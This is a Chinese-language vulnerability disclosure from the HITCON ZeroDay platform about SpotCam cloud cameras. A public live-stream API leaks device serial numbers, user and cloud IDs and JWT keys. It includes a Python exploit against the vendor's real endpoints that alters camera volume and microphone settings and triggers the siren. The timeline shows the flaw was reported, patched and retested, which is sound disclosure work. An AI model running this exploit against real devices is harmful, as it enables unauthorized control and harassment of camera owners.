Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-00204
- Vendor: 視博網訊股份有限公司
- Title: SpotCam 公司之雲端攝影機敏感資訊洩漏
- Introduction: 任意設定已公開觀看的設備
處理狀態
目前狀態
公開
Last Update : 2023/07/25
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2023/05/18 09:48:41 : 新提交 (由 Wayne 更新此狀態)
- 2023/05/29 09:53:25 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/05/29 21:04:44 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/05/29 21:04:44 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/06/06 03:10:44 : 修補中 (由 組織帳號 更新此狀態)
- 2023/07/17 20:22:56 : 複測申請中 (由 組織帳號 更新此狀態)
- 2023/07/24 16:28:23 : 確認已修補 (由 Wayne 更新此狀態)
- 2023/07/25 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-00204
- 通報者:waynelpu (Wayne)
- 風險:嚴重
- 類型:資訊洩漏 (Information Leakage)
參考資料
攻擊者可利用洩漏資訊進行下一步攻擊行為。
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.myspotcam.com/tc/onair/onair_search_result_json/?page=1&page_num=5&keyword=
敘述
在官網上現正直播中的APIhttps://www.myspotcam.com/tc/onair/onair_search_result_json/?page=1&page_num=5&keyword=
可以拿到目前公開給別人看的攝影機設定,其中的 sn/uid/cid 以及圖片連結參數的key (JWT Token),可以直接進行操作攝影機的相關設定
Exploit
import requests
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--sn", help="Device Serial Number", required=True)
parser.add_argument("-u", "--uid", help="User ID", required=True)
parser.add_argument("-c", "--cid", help="Cloud ID", required=True)
parser.add_argument("-k", "--key", help="JWT Key", required=True)
args = parser.parse_args()
# 警報音量設置成5
res = requests.post(f'https://www.myspotcam.com/camera_status/communication_mobile_json/{args.cid}/volume/5?uid={args.uid}')
print(res.text)
# 攝影機麥克風設置成5
res = requests.post(f'https://www.myspotcam.com/camera_status/communication_mobile_json/{args.cid}/audio_mic_vl/5?uid={args.uid}')
print(res.text)
# 傳送警報
res = requests.post(f'https://tw-vs17-ni1jahru.myspotcam.com:2686/v1/monostable/{args.uid}/{args.sn}/siren', json={
'level': True,
'sustain': 0,
}, params={'key':args.key})
print(res.text)
修補建議
請避免直接相關參數以及金鑰
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。